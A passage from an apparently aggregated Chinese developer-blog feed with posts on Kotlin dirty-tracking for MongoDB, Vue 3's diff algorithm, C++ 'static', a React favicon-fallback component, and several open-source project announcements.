    private val tracer = Tracer<K, E>(entityClass, kryoPool, coroutine, 2.minutes, 1.seconds, mongoTemplate)

    abstract fun entities(): Map<K, E>

    /**
     * Trace all entities
     */
    fun traceEntities() {
        tracer.trace(entities())
    }

    /**
     * Mark all entities as cleanup
     */
    fun markCleanup() {
        tracer.cleanupAll(entities())
    }

    /**
     * Flush all entities
     * @return true if all entities are flushed
     */
    fun flush(): Boolean {
        return tracer.flush(entities())
    }
}
  • entities 返回此 MemData 中现存的所有数据
  • traceEntities 对现存的 entities 做一次标脏操作
  • markCleanup 将现存的 entities 标记为干净的,一般在加载完数据之后做一次
  • flush 强制对所有数据进行检测,将脏数据写库,一般在玩家下线或者停服的时候操作

Tracer

由于这部分的代码比较多,因此只能说一个思路以及展示部分代码

其实标脏的思路也很简单,就是对 Entity 中的字段做哈希,当然,为了兼顾性能与内存,不可能做到对每个字段都做标脏,只做了 Entity 中的直接字段的标脏,不再对字段的字段单独做哈希。为此,我们就可以定义一个数据结构,来记录上一次的哈希值,用于和下一次哈希做比较:

/**
 * @param hashSameCount: the count of the same hash code
 * @param hashCode: the hash code of the object
 * @param fullHashCode: the full hash code of the object
 * @param status: mark the object is dirty or not
 * @param value: if dirty, save the object
 */
data class Record(
    var hashSameCount: Int,
    var hashCode: Int,
    var fullHashCode: HashCode,
    var status: Status,
    var value: Any?,
) {
    companion object {
        fun default(): Record {
            return Record(0, 0, HashCode.fromInt(0), Status.Clean, null)
        }
    }
}

这里做下说明,由于只比较哈希可能会出现哈希冲突的情况(数据变了但是哈希没变),这个时候就需要做一次二进制的哈希,将这个字段序列化成二进制再比较一次哈希。当然这个操作是在多次哈希都相同的情况才做,不然每次都做成本太高了。

通过反射获取 Entity 中的字段

既然要对字段进行标脏,那自然需要迭代 Entity 中的字段,这里我们需要预先通过反射获取到 Entity 中的字段,后续直接迭代这些字段执行反射调用,就可以获取字段的值了。

在存储字段的时候,我们会对普通的字段和 Map 类型的字段分开存储,它们的处理逻辑不同,对于 Map 类型的字段,我们不直接对整个 Map 做哈希,而是对这个 Map 进行迭代,分别对每个元素做哈希。

private val normalFields: List<KProperty1<E, *>> = normalFields()

//<id, <field, value> >
private val normalValues: MutableMap<K, MutableMap<String, Record>> = mutableMapOf()

private val mapFields: List<KProperty1<E, Map<*, *>>> = mapFields()

//<id, <field, <key, value> > >
private val mapValues: MutableMap<K, MutableMap<String, MutableMap<Any?, Record>>> = mutableMapOf()
  • normalValues 存储普通字段的哈希记录
  • mapValues 存储 Map 字段的哈希记录
private fun normalFields(): List<KProperty1<E, *>> {
    return entityClass.declaredMemberProperties.filter {
        !it.returnType.jvmErasure.isSubclassOf(Map::class) && it is KMutableProperty1<E, *>
    }
}

这里有个优化项,我们只需要取可变类型的字段,不可变的类型就不取了,节省一点资源。

private fun mapFields(): List<KProperty1<E, Map<*, *>>> {
    @Suppress("UNCHECKED_CAST")
    return entityClass.declaredMemberProperties.filter {
        it.returnType.jvmErasure.isSubclassOf(Map::class)
    } as List<KProperty1<E, Map<*, *>>>
}

计算哈希

/**
 * 计算哈希值,如果哈希值发生变化,将计算哈希的对象存入[Record.value]中,用于写库,并标记为[Status.Set]
 * 计算哈希时,首先会计算普通哈希值,如果这个对象连续多次计算普通哈希都相同,那么会计算一次复杂哈希
 * 复杂哈希是通过将这个对象进行序列化之后计算的
 */
private fun hash(name: String, obj: Any?, record: Record) {
    if (record.status.isDirty()) {
        //虽然这个字段已经被标记为脏,但是后续也可能会继续改动此值,需要保持脏数据为最新值
        record.value = obj
        logger.trace("field:{} is dirty, skip", name)
        return
    }
    val preHashCode = record.hashCode
    record.hashCode = obj.hashCode()
    if (preHashCode != record.hashCode) {
        record.hashSameCount = 0
        record.status = Status.Set
        record.value = obj
    } else {
        record.hashSameCount++
    }
    if (record.status.isDirty()) {
        logger.trace("field:{} is dirty", name)
        return
    }
    if (record.hashSameCount >= FULL_HASH_THRESHOLD || flushing) {
        val preFullHashCode = record.fullHashCode
        record.fullHashCode = fullHashCode(obj)
        if (preFullHashCode != record.fullHashCode) {
            record.status = Status.Set
            record.value = obj
            logger.trace("field:{} is dirty", name)
        }
        record.hashSameCount = 0
    }
}

private fun fullHashCode(obj: Any?): HashCode {
    return if (obj == null) {
        HashCode.fromInt(0)
    } else {
        kryoPool.use {
            Output(ByteArrayOutputStream()).use {
                writeObject(it, obj)
                hashFunction.hashBytes(it.toBytes())
            }
        }
    }
}

生成数据库更新操作

由于我们使用的是 MongoDB 数据库,所以只需要生成 $set$unset 指令就行了,从上面计算哈希的代码可以看出,当我们计算出哈希值发生变化的时候,会将 record 中的 status 更改为 Status.Set

enum class Status {
    Clean,
    Set,
    Unset,
    ;

    fun isDirty(): Boolean {
        return this != Clean
    }
}

对于 Map 类型的字段,有三种情况

  • 新增数据,需要生成 $set 操作,并将新的数据记录到 mapValues
  • 删除数据,需要生成 $unset 操作,并删除 mapValues 中的记录
  • 修改数据,需要生成 $set 操作,并更新 mapValues 中的记录
private fun traceMapField(
    property: KProperty1<E, Map<*, *>>,
    entity: E,
    valueByFieldName: MutableMap<String, MutableMap<Any?, Record>>
) {
    val name = property.name
    val currentMap = property.get(entity)
    logger.trace("trace map field:{}, value:{}", name, currentMap)
    val valueByMapKey = valueByFieldName.computeIfAbsent(name) { mutableMapOf() }
    valueByMapKey.forEach { (k, v) ->
        if (k !in currentMap) {
            v.status = Status.Unset
        }
    }
    currentMap.forEach { (k, v) ->
        val record = valueByMapKey.computeIfAbsent(k) { Record.default() }
        hash("$name.$k", v, record)
    }
}

在这里我们只是简单的计算了一下哈希,并修改了 status,其它修改会在真正生成数据库操作之后才进行,并且需要考虑数据库操作失败后的重试问题。

更新数据

val value = record.value
val criteria = Criteria.where(idField.name).`is`(id)
val update = Update.update("$fieldName.$k", deepCopy(value))
updateOpList.add(UpdateOp(Query.query(criteria), update, record))
cleanup("$fieldName.$k", value, record)

我们将数据库操作准备好,然后清除这个字段的脏状态,后面这些操作会在 IO 线程中执行,对于 $set 操作,我们需要使用 upsert,覆盖插入数据和更新数据两种情况。

删除数据

val criteria = Criteria.where(idField.name).`is`(id)
val update = Update().unset("$fieldName.$k")
updateOpList.add(UpdateOp(Query.query(criteria), update, record))

执行

val updateResults = updateOpList.map { updateOp ->
    async(Dispatchers.IO) {
        runCatching {
            if (updateOp.record.status == Status.Unset) {
                template.updateFirst(updateOp.query, updateOp.update, entityClass.java)
            } else {
                template.upsert(updateOp.query, updateOp.update, entityClass.java)
            }
        }
    }
}.awaitAll()

结尾

以上,我们完成了这个框架中比较麻烦的部分,限于篇幅的原因,很多细节没有在文章中展示,感兴趣的话可以自行阅读源码。

by Starduster at January 18, 2025 07:42 AM

oschina news project

蛋糕商城 JPA 版介绍二

蛋糕商城JPA版介绍二

蛋糕商城是一个在大学生学习者中流行的 JSP 开源项目。由于原作者并未签名,所以原作者未知。我使用 Java 通用代码生成器光,电音之王尝鲜版十一彻底增强了蛋糕商城,现在,升级后的蛋糕商城已经是一个 SpringBoot3.4.0,JPA 的应用程序。赶上了技术列车。

介绍视频请见:

https://www.bilibili.com/video/BV1w3coedEqR/

https://www.bilibili.com/video/BV1eic6eeEzs/

蛋糕商城虽说比较简单,但是界面比较美观,核心业务表述清晰,是一款非常优秀的开源例程。在大学生中非常流行。大家把它改造成形形色色的系统。您经常可以在搜索引擎上发现这些作品。

蛋糕商城的 JPA 版本继承了蛋糕商城的这些特性。它的界面,保留了蛋糕商城的原貌,后台只有少量修改,新增了 Java 通用代码生成器光生成的集成后台,提供了增强功能,欢迎大家使用。

蛋糕商城的 JPA 版本的项目地址:https://gitee.com/jerryshensjf/CookieShop

蛋糕商城JPA版

介绍

蛋糕商城SpringBoot3.4.0, JPA版本。 基于开源软件蛋糕商城,升级至SpringBoot3.4.0,JPA,Jakarta Servlet,JSP,JSTL。采用MariaDB数据库。仍然使用原有JSP界面,有Java通用代码生成器光生成的后台界面。

截屏

输入图片说明

输入图片说明

输入图片说明

输入图片说明

输入图片说明

输入图片说明

介绍视频

https://www.bilibili.com/video/BV1w3coedEqR/

https://www.bilibili.com/video/BV1eic6eeEzs/

数据库初始化清注意

可以使用sql文件夹下的数据库脚本建库建表。蛋糕的图片在resources/static/picture文件夹下面。admin的密码是admin,其他密码可以使用admin修改。

您只需要使用Sql文件夹下的sql脚本恢复数据库,图片放在picture文件夹下,商品和图片的关系请参考excelTemplate文件夹下的Cookieshop_org.xls即可。

注意,商品如果没有设置cover图片,就会自动过滤掉,不会显示出来。

软件架构

软件架构说明

SpringBoot3.4.0,JPA,Jakarta Servlet,JSP,JSTL。采用MariaDB数据库。仍然使用原有JSP界面,有Java通用代码生成器光生成的后台界面。

by 来源: 投稿 at January 18, 2025 05:06 AM

juejin freebie

一个基于 Roslyn 和 AvalonEdit 的跨平台 C# 编辑器

前言

今天大姚给大家分享一个基于 Roslyn 和 AvalonEdit 开源、轻量、跨平台的 C# 编辑器:RoslynPad。

Roslyn介绍

Roslyn是一个强大的.NET编译器实现,为C#和Visual Basic开发者提供了丰富的代码分析API。它不仅是一个编译工具,还是一个支持构建高级代码分析工具的平台。

主要功能

RoslynPad支持跨平台运行,并且提供代码补全、签名帮助、诊断、代码修复等编辑功能。

供代码补全

签名帮助

诊断

代码修复

项目源代码

  • RoslynPad.sln :包含所有项目(仅在 Windows 上推荐)。
  • RoslynPad.Avalonia.sln :仅包含跨平台项目。

项目运行效果

项目源码地址

更多项目实用功能和特性欢迎前往项目开源地址查看👀,别忘了给项目一个Star支持💖。

优秀项目和框架精选

该项目已收录到C#/.NET/.NET Core优秀项目和框架精选中,关注优秀项目和框架精选能让你及时了解C#、.NET和.NET Core领域的最新动态和最佳实践,提高开发工作效率和质量。坑已挖,欢迎大家踊跃提交PR推荐或自荐(让优秀的项目和框架不被埋没🤞)。

by 追逐时光者 at January 18, 2025 04:25 AM

juejin frontend

简单了解vue3双端diff算法,以及为什么使用v-for时必须要给每个元素添加key

前言

众所周知,vue内部使用的是虚拟节点。当组件状态更改时,vue内部会对比老节点和新节点的差异(对比的是虚拟节点),最后根据差异再来操作真实dom节点。这样能尽量减少对真实dom节点的操作,提高性能。下面就来详细分析分析vue是如何对比新节点和老节点的差异的

vue双端对比算法

首先我们需要清楚vue虚拟节点的结构。vue虚拟节点的结构大致如下

{
    type: any,
    props?: any,
    children?: any
    shapeFlag?: any
    el?: any
    key?: any
}

type为虚拟节点类型。若为字符串,则代表真实dom元素的类型。若虚拟节点类型为对象,则type为组件对象,例

type="p"type="div"

type = {
    name: "App",
    setup() { },
    render() {
        return h("div", { tId: 1 }, [
            h("p", {}, "主页"),
        ])
    }
}

props为节点属性。例

props = {
    id=1
    class="root"
}

children为节点子节点,可以为节点数组,也可以为文本字符串。例:

children = [
    {
        "type": "p",
        "props": {},
        "children": "主页",
        "shapeFlag": 5,
        "el": null
    },
    {
        "type": {
            "name": "ArrayToArray"
        },
        "shapeFlag": 2,
        "el": null
    }
]

children = "hello,你好"

shapeFlag用来标识节点类型

export const enum ShapeFlags {
    //节点类型为真实dom元素类型,例:div,p
    ELEMENT = 1,  //0001
    //节点类型为组件
    STATEFUL_COMPONENT = 1 << 1,  //0010
    //孩子为文本字符串
    TEXT_CHILDREN = 1 << 2,  //0100
    //孩子为节点数组
    ARRAY_CHILDREN = 1 << 3,  //1000
    //孩子为插槽数组
    SLOT_CHILDREN = 1 << 4, // 10000
}

el为元素真实挂载的dom节点,通过el可以操作该虚拟节点对应的真实dom节点

双端对比算法主要就是根据虚拟节点的children属性进行操作

左侧遍历时,从左往右看新节点与老节点是否相同,若相同则继续比较下一个,直到遇到不相同的节点停止

右侧遍历时,从右往左看新节点与老节点是否相同,若相同则继续比较下一个,直到遇到不相同的节点停止

双端对比算法的本质是对children数组分别通过从左往右遍历和从右往左遍历,最终锁定中间需要变更的部分来进行更改。

如图所示:

image.png

这里先给出遍历代码

    /**
     * @param c1 老节点数组
     * @param c2 新节点数组
     */
    function patchKeyedChildren(c1: any[], c2: any[], container: any, parentComponent: any) {
        /**左侧指针 */
        let i = 0
        /**老节点数组右侧指针 */
        let e1 = c1.length - 1
        /**新节点数组右侧指针 */
        let e2 = c2.length - 1
        // 左侧遍历
        while (i <= e1 && i <= e2) {
            /**n1为旧节点数组第i个节点 */
            const n1 = c1[i]
            /**n2为新节点数组第i个节点 */
            const n2 = c2[i]
            if (isSomeVNodeType(n1, n2)) {
                /**n1,n2相同则继续递归遍历n1,n2子节点数组差异 */
                patch(n1, n2, container, parentComponent)
            } else {
                /**n1,n2不相同结束遍历 */
                break;
            }
            i++
        }

        //右侧遍历
        while (i <= e1 && i <= e2) {
            /**n1为旧节点数组第e1个节点 */
            const n1 = c1[e1]
            /**n2为新节点数组第e2个节点 */
            const n2 = c2[e2]

            if (isSomeVNodeType(n1, n2)) {
                /**n1,n2相同则继续递归遍历n1,n2子节点数组差异 */
                patch(n1, n2, container, parentComponent)
            } else {
                /**n1,n2不相同结束遍历 */
                break;
            }
            e1--
            e2--
        }
}

了解完遍历后,接下来就是如何处理中间乱序的部分

中间乱序的部分会有以下几种情况:

  1. 老节点序列中有,但是新节点序列中没有,则需要删除该节点。例如上面图片中老节点序列中有 C ,但是新节点序列中没有
  2. 老节点序列中没有,但是新节点序列中有,则需要创建新节点。例如上面图片中老节点序列中没有 K ,但是新节点序列中有
  3. 老节点序列中有,新节点序列中也有,但是节点所处位置不同,则需要移动节点。例如上面图片中老节点序列中的 H 和新节点序列中的 H 的位置不同

那么vue是通过什么来判断新老节点是否相同的呢就是通过key值。这就是为什么我们在使用v-for时必须给每个元素一个key值。

并且vue会给新节点和老节点建立一个映射关系,如下图:

image.png

建立完映射后,vue会先遍历旧节点乱序部分,把没有映射到新节点序列的节点删除(图中的C节点);

然后再遍历新节点乱序部分,把新节点序列中没有映射到老节点序列的节点进行创建(图中的K节点);

至于移动节点就比较麻烦,需要用到最大递增子序列这个概念,这么说可能听不懂,我们看着图里的例子来理解。我们可以发现,D,E节点都是“相对安稳”的,无论其它节点怎么移动,插入,都不会影响D,E节点的相对顺序,那么我们就可以把D,E看成一个“整体”,不需要动,然后移动其它节点即可。例如图中,我们只需要把H插入到D,E的后面即可。而D,E其实就是一个最大递增子序列。

当然,这里说起来轻松,其实代码实现起来很复杂。不过我们了解大概思路就行,至于代码实现我放在文末大家可以自行理解

另外还有一些特殊情况

1. 新节点比老节点多,需要创建

image.png

image.png

如图所示,都是需要创建节点 C

2. 新节点比老节点少,需要删除

image.png

image.png

如图所示,都需要删除节点 C

完整代码:

/**
     * @param c1 老节点数组
     * @param c2 新节点数组
     */
    function patchKeyedChildren(c1: any[], c2: any[], container: any, parentComponent: any) {
        /**左侧指针 */
        let i = 0
        /**老节点数组右侧指针 */
        let e1 = c1.length - 1
        /**新节点数组右侧指针 */
        let e2 = c2.length - 1
        // 左侧遍历
        while (i <= e1 && i <= e2) {
            /**n1为旧节点数组第i个节点 */
            const n1 = c1[i]
            /**n2为新节点数组第i个节点 */
            const n2 = c2[i]
            if (isSomeVNodeType(n1, n2)) {
                /**n1,n2相同则继续递归遍历n1,n2子节点数组差异 */
                patch(n1, n2, container, parentComponent)
            } else {
                /**n1,n2不相同结束遍历 */
                break;
            }
            i++
        }

        //右侧遍历
        while (i <= e1 && i <= e2) {
            /**n1为旧节点数组第e1个节点 */
            const n1 = c1[e1]
            /**n2为新节点数组第e2个节点 */
            const n2 = c2[e2]

            if (isSomeVNodeType(n1, n2)) {
                /**n1,n2相同则继续递归遍历n1,n2子节点数组差异 */
                patch(n1, n2, container, parentComponent)
            } else {
                /**n1,n2不相同结束遍历 */
                break;
            }
            e1--
            e2--
        }

        //新的比老的多需要创建
        if (i > e1 && i <= e2) {
            /**锚点,即新节点该在哪个节点前面插入,若为null则在尾部插入 */
            const anchor = e2 + 1 > c2.length - 1 ? null : c2[e2 + 1].el
            /**遍历创建所有新节点 */
            while (i <= e2) {
                /**新增并挂载新节点 */
                patch(null, c2[i], container, parentComponent, anchor)
                i++
            }
        } else if (i > e2) {
            //老的比新的多需要删除
            while (i <= e1) {
                // 删除节点
                hostRemove(c1[i].el)
                i++
            }
        } else {
            //中间对比

            /**经过左右遍历后,旧节点序列中间差异部分的第一个节点 */
            let s1 = i
            /**经过左右遍历后,新节点序列中间差异部分的第一个节点 */
            let s2 = i
            /**新节点序列中间差异部分节点数量 */
            const toBePatched = e2 - s2 + 1
            /**记录新节点序列中间差异部分已处理数量 */
            let patched = 0
            /**记录新节点序列中间差异部分的节点的key与位置(index)的映射*/
            const keyToNewIndexMap = new Map()
            /**新老节点映射 */
            const newIndexToOldIndexArr = new Array(toBePatched)
            //判断是否需要移动节点
            let moved = false
            //最后一个映射节点的位置
            let maxNewIndexSoFar = 0
            for (let index = 0; index < toBePatched; index++) {
                newIndexToOldIndexArr[index] = 0
            }
            //记录新节点序列中间差异部分的节点的key与位置(index)的映射
            for (let k = s2; k <= e2; k++) {
                /**新节点 */
                const nextChild = c2[k]
                keyToNewIndexMap.set(nextChild.key, k)
            }

            //遍历老节点序列乱序部分
            for (let j = s1; j <= e1; j++) {
                /**老节点 */
                const prevChild = c1[j]
                /**如果新节点差异部分已处理数量已大于等于新节点差异部分总节点数量,说明老节点比新节点多,直接删除老节点就好了 */
                if (patched >= toBePatched) {
                    //删除老节点
                    hostRemove(prevChild.el)
                    continue
                }
                //情况一:老节点序列有的,新节点序列没有的,需要删除节点
                let newIndex: null | number = null
                if (prevChild.key) {
                    newIndex = keyToNewIndexMap.get(prevChild.key) || null
                } else {
                    for (let h = s2; h <= e2; h++) {
                        if (isSomeVNodeType(prevChild, c2[h])) {
                            newIndex = h
                            break;
                        }
                    }
                }
                if (!newIndex) {
                    // 删除节点
                    hostRemove(prevChild.el)
                } else {
                    //当前映射节点位置大于maxNewIndexSoFar,则更新maxNewIndexSoFar,小于则说明需要移动
                    if (newIndex >= maxNewIndexSoFar) {
                        maxNewIndexSoFar = newIndex
                    } else {
                        moved = true
                    }
                    newIndexToOldIndexArr[newIndex - s2] = j + 1
                    //把老节点和新节点相同,能建立映射关系,继续递归遍历子节点数组差异
                    patch(prevChild, c2[newIndex], container, parentComponent)
                    patched++
                }
            }

            //求最长递增子序列。如果前面已经得出无须移动(moved = false),则直接赋空数组
            const increasingNewIndexSequence = moved ? getSequence(newIndexToOldIndexArr) : []
            let j = increasingNewIndexSequence.length - 1

            //遍历新节点序列乱序部分
            for (let i = toBePatched - 1; i >= 0; i--) {
                const nextIndex = i + s2
                const nextChild = c2[nextIndex]
                const anchor = nextIndex + 1 > c2.length - 1 ? null : c2[nextIndex + 1].el
                if (newIndexToOldIndexArr[i] === 0) {
                    //没有映射的,创建新节点
                    patch(null, nextChild, container, parentComponent, anchor)
                }
                if (moved) {
                    if (j < 0 || i !== increasingNewIndexSequence[j]) {
                        console.log('移动位置');
                        insert(nextChild, container, anchor)
                    } else {
                        j--
                    }
                }


            }
        }
    }

by yep at January 18, 2025 03:27 AM

如何优雅地处理第三方网站高清 Logo 显示?

今天正式发布了我的第一个新标签页插件:Next Idea NewTab

og.webp

这是一个为开发者、独立开发者量身打造的新标签页插件,主要功能分3个模块:

  • 精选的优质开源项目,分析项目潜在价值,帮助开发者找到Idea
  • 实时更新的 GitHub Trending,不错过当下热门项目
  • 开发者工具箱,高效便捷

有了这个插件,每次打开浏览器都能查找新 idea,一下子缩短了信息获取路径。

经常用掘金官方插件的朋友都觉得中间的 GitHub Trending 很眼熟。没错,掘金,你被我致敬了!感谢过去5年掘金一直在新标签页为我提供信息🫡

这篇博客的主要目的不是介绍插件,是要讲一个插件里出现的一个 bug。

bug描述

在插件的右侧,是一大批工具的展示,每个工具都需要显示 logo,问题恰恰出现在 logo 的展示上。

logo 最初的展示方案是,手动从第三方网站里找到高清 logo 地址,如果没有高清 logo,则使用第三方服务获取 logo。这个方案在我测试的时候没发现问题,上线后有用户反馈页面上出现 bug:

bug-2.webp

我第一反应就知道和网络稳定性有关。

解决这个 bug 的思路也简单:

  • 找到高清的 Logo
  • 做好回退方案

表演一下AI编程

启动 AI,发送 “我的产品里要展示不同网站的高清 logo,并且要做好回退方案,给我写一个 React 组件”。

AI 就开发分析如何找到高清 logo:

  • 加载 https://${domain}/apple-touch-icon.png
  • 利用 Google、DuckDuckGo 等第三方服务抓取

并且提供了一份组件代码:

import React, { useState } from 'react';

const WebsiteLogo = ({ domain, size = 32, className = "" }) => {
  const [imgSrc, setImgSrc] = useState(`https://${domain}/apple-touch-icon.png`);
  const [fallbackIndex, setFallbackIndex] = useState(0);
  
  const fallbackSources = [
    `https://${domain}/apple-touch-icon.png`,
    `https://${domain}/apple-touch-icon-precomposed.png`,
    `https://www.google.com/s2/favicons?domain=${domain}&sz=64`,
    `https://icons.duckduckgo.com/ip3/${domain}.ico`,
    `https://${domain}/favicon.ico`,
  ];

  const handleError = () => {
    const nextIndex = fallbackIndex + 1;
    if (nextIndex < fallbackSources.length) {
      setFallbackIndex(nextIndex);
      setImgSrc(fallbackSources[nextIndex]);
    }
  };

  return (
    <img 
      src={imgSrc}
      alt={`${domain} logo`}
      width={size}
      height={size}
      onError={handleError}
      className={`inline-block ${className}`}
      style={{ objectFit: 'contain' }}
    />
  );
};

export default WebsiteLogo;

这个组件已经实现了自动处理错误和降级方案,并且可以自定义大小和样式,看起来已经可行了。

但是咱们可是程序员,哪能被 AI 糊弄,继续鞭打,要求在加载状态添加占位符、logo 展示要有过渡效果、提供兜底的回退方案,并且每个回退方案只给1秒加载时间,超出即当作失败,去找下一个回退方案。

这样一份非常健壮的第三方网站 logo 展示的组件就实现好了,代码我放在开源项目 nextjs-15-starter 了,仓库的演示网站也能体验效果。

核心处理方法在这里:

  useEffect(() => {
    let timeoutId

    if (isLoading) {
      timeoutId = setTimeout(() => {
        handleError()
      }, timeout)
    }

    return () => {
      if (timeoutId) {
        clearTimeout(timeoutId)
      }
    }
  }, [imgSrc, isLoading])

  const handleError = () => {
    const nextIndex = fallbackIndex + 1
    if (nextIndex < fallbackSources.length) {
      setFallbackIndex(nextIndex)
      setImgSrc(fallbackSources[nextIndex])
      setIsLoading(true)
    } else {
      setHasError(true)
      setIsLoading(false)
    }
  }

现在组件就完成了如下任务:

  • 多重备选图标源,确保最大程度显示成功
  • 加载状态显示占位符
  • 超时处理机制
  • 优雅的降级显示(使用域名首字母)
  • 可自定义大小和样式

有了这个组件就能轻松解决不同网站的 favicon 格式不一、图标无法加载、加载超时等等痛点,希望同样有 logo 展示需求的朋友用起来!

关于我

🧑‍💻独立开发|⛵️出海|Next.js手艺人
🛠️今年致力于做独立产品和课程

欢迎在以下平台关注我:

by 程普 at January 18, 2025 02:46 AM

January 17, 2025

juejin career

【C++基础(一)】static关键字详解

static关键字有什么作用?

这也算是面经中老生常谈的问题了,看来不懂的同学没有好好的刷面经啊。

那么本文就来好好解释一下这个问题。

C++的static关键字主要的功能有:改变作用域改变变量在内存模型中的存储位置。修饰不同的变量会有不同的效果,现在我们来一一说明。

先放总结:

(1)static修饰全局变量,该变量作用域由global变成当前文件

(2)static修饰全局函数,该函数作用域由global变成当前文件

(3)static修饰函数局部变量,该变量生命周期从原本贯穿函数调用期间,变成贯穿整个程序,但其作用域依然局限在所在函数作用域。

(4)static修饰类的成员变量或成员函数,称为静态成员,静态成员被类的所有对象共有。静态成员具有以下特性:

  • 静态成员被类的所有对象所共有
  • this指针无法指向静态成员
  • 静态函数无法更改或调用非静态成员
  • 静态成员可以直接用类调用,如:Family::static_var,Family::static_func()

为了方便,代码验证使用Visual Studio 2019,建议读者也把下面代码手敲运行一遍。

修饰全局变量

当一个变量被定义成全局变量时,该变量的作用域为global,全局变量可以跨文件使用。当用static修饰成员变量时,该变量的作用域仅在当前文件。

未用static进行修饰

测试代码如下:

// file.cpp
int cs = 1;

// another_file.cpp
#include <iostream>

extern int cs;
int main() {
    std::cout << "全局变量cs=" << cs << std::endl;
    return 0;
}

测试实况:

image.png

image.png

输出结果:

image.png

使用static修饰全局变量

测试代码如下:

// file.cpp
static int cs = 1;

// another_file.cpp
extern int cs;
int main() {
    std::cout << "全局变量cs=" << cs << std::endl;
    return 0;
}

测试实况:

image.png

image.png

输出结果:

image.png

IDE提示链接错误,这就是因为变量cs的作用域仅限file.cpp,在another_file.cpp无法访问到cs

结论

static关键字修饰全局变量时会使其作用域从全局变成当前文件范围。

修饰全局函数

static修饰全局函数时,效果和全局变量一样,也是将其作用域从全局变成了当前文件范围。

未使用static修饰

测试代码:

// file.cpp
int add(int a, int b) {
    return a + b;
}

// another_file.cpp
#include <iostream>

extern int add(int a, int b);
int main() {
    std::cout << add(2, 3) << std::endl;
    return 0;
}

测试实况:

image.png

image.png

测试结果:

image.png

在another_file.cpp可以正常调用file.cpp中的全局函数。

使用static修饰全局函数

测试代码:

// file.cpp
static int add(int a, int b) {
    return a + b;
}

// another_file.cpp
#include <iostream>

extern int add(int a, int b);

int main() {
    std::cout << add(2, 3) << std::endl;
    return 0;
}

测试实况:

image.png

image.png

测试结果:

image.png

链接失败。

结论

同全局变量一样,用static修饰全局函数后,该函数的作用域从全局变成当前文件。

修饰函数中的局部变量

用static修饰函数的局部变量时,延长局部变量的生命周期,使其贯穿整个程序。

// test_func.cpp

#include <iostream>

void func() {
    int a = 1;
    static int b = 1;
    std::cout << "a=" << a++ << ", b=" << b++ << std::endl;   
}

int main() {
    for (int i = 0;i < 5; i++) {
        func();
    }

    return 0;
}

测试结果:

image.png

局部变量a,在每次函数调用都会被重新赋值,生命周期仅限于函数调用期间。

而被static修饰的局部变量b在每次函数调用后都会持续增加,函数调用结束后也不会被销毁,生命周期持续到程序结束。

结论

static修饰函数局部变量时,会延长该局部变量的生命周期,直到程序结束。

这是因为未被修饰的局部存在栈中,函数调用结束后,该栈空间会被回收,连带成员变量一起回收。

而被static的函数成员变量存在内存模型中的"常量区",该区域的变量会直到程序结束才会被销毁。

修饰类成员

被static类的成员变量或成员函数称为静态成员,该静态成员会归属于类,被所有该类实例化的对象共享。举个例子,静态成员就像家里的空调,是所有家庭成员共享的,所有家庭成员都能使用,且不独属于某个家庭成员。

但是静态成员有几个特点

(1)不能在静态成员函数修改非静态成员变量或者调用非静态成员函数

(2)静态成员可以直接用类访问:Family::air

(3)this指针无法指向静态成员:this->air 会报错

测试代码:

#include <iostream>
#include <string>

class Family {
public:
    static int air; // 静态成员变量声明
    std::string role;

    Family(std::string role) : role(role) {}

    static void static_printAir() {
        std::cout << "全家一起用空调,当前 air=" << air << std::endl;
    }

    void printAir() {
        std::cout << this->role <<"使用空调," << "当前 air=" << air << std::endl;
    }
};

// 静态成员变量定义(必须在类外)
int Family::air = 20;

int main() {
    Family husband("丈夫");
    Family wife("妻子");

    Family::air++;
    Family::static_printAir(); // 输出: 当前 air=21

    husband.air++; // 修改静态成员变量
    husband.printAir(); // 输出: 当前 air=22

    wife.air++; // 再次修改静态成员变量
    wife.printAir(); // 输出: 当前 air=23

    husband.static_printAir(); // 类实例对象也可以调用静态成员函数

    return 0;
}

测试结果:

image.png

结论

静态成员被类的所有成员共同拥有

this指针无法指向静态成员

by 赛博之心 at January 17, 2025 04:44 PM

oschina news project

Go HTTP File Server v1.20.2 发布,基于命令行的 HTTP 文件共享服务器

Go HTTP File Server v1.20.2 已经发布,基于命令行的 HTTP 文件共享服务器

此版本更新内容包括:

主要变更

  • 添加环境变量 GHFS_LOG_QUEUE_SIZE 来配置每个日志文件的队列大小
  • 次要改进和修复

Main changes

  • add env var GHFS_LOG_QUEUE_SIZE to config log queue size for each file
  • minor improvements and fixes

详情查看:https://gitee.com/mjpclab/go-http-file-server/releases/v1.20.2

by 来源: 投稿 at January 17, 2025 03:48 PM

juejin article

一探究竟:如何高效提取ULL中的当前参数,实现性能与精度的完美平衡

一探究竟:如何高效提取ULL中的当前参数,实现性能与精度的完美平衡

你是否在开发过程中,遇到过那些复杂的、动态变化的URL?每次需要从中提取参数时,你的代码是不是开始变得杂乱无章,难以维护?特别是在单页应用(SPA)中,每一次路由跳转、每一段查询字符串的变化,都可能让你不得不处理一堆繁杂的URL参数。而这些参数,往往承载着关键的业务数据:用户ID、产品详情、搜索关键词……

今天,我们将带你走进ULL(Universal Linking Library)背后的技术世界,探索如何高效、精准地提取当前参数。我们不仅会分享一些常用的方法,还将深入探讨如何在极限性能需求下,依旧保证代码的简洁与可维护性。

从“复杂”的URL到“简单”的参数:技术与魔法的交汇

Web开发早已不再是静态页面的简单拼接,动态路由、复杂查询和用户交互让URL成为了应用中不可或缺的元素。每个URL背后都可能隐藏着大量的数据:用户身份、搜索过滤器、排序规则,甚至是个性化推荐信息。为了快速提取这些参数,我们需要理解URL的结构,并熟练运用JavaScript的多种工具。

1. 解析URL:URLSearchParams的简洁与高效

当你面对一个URL时,最直接的方法莫过于利用浏览器原生提供的URLSearchParams接口。它像一个多功能工具箱,可以让你轻松提取查询参数,避免了手动解析的繁琐和出错的风险。

const url = new URL('https://example.com/product?id=123&category=electronics');
const params = new URLSearchParams(url.search);

const id = params.get('id');  // 123
const category = params.get('category');  // electronics

这段代码看似简单,却能完成极其复杂的任务:它不仅提取了URL中的关键参数,而且还能自动处理URL中的编码、空格等问题。想要高效提取URL中的查询参数,URLSearchParams无疑是最稳妥的选择。

2. 动态路由的挑战:每次跳转,参数也在跳动

在单页应用(SPA)中,路由是动态变化的,意味着URL参数也会随之变化。而这时,我们常常面临一个问题——如何在路由跳转的瞬间,及时提取当前的参数?如果每次都重新解析整个URL,无疑会造成性能的浪费。

解决方案之一就是借助前端路由库(如React Router、Vue Router等)提供的API,在路由变化时实时获取参数。这不仅保证了参数的即时性,还避免了重复的计算。

在React中,我们可以通过useLocation钩子来获取当前路由的参数:

import { useLocation } from 'react-router-dom';

function useQuery() {
  const location = useLocation();
